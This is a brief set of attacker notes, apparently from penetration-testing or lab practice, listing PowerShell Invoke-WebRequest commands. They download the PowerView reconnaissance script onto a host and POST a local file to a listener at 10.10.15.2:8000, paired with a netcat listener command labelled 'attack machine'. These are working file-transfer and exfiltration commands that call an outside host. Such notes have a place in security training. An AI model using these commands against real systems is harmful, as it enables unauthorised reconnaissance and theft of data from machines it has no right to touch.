Invoke-WebRequest

Invoke-WebRequest https://<snip>/PowerView.ps1 -OutFile PowerView.ps1
Invoke-WebRequest https://<snip>/PowerView.ps1 -o PowerView.ps1

Invoke-WebRequest -Uri http://10.10.15.2:8000 -Method POST -InFile .\windows.txt

attack machine
nc -lnvp 8000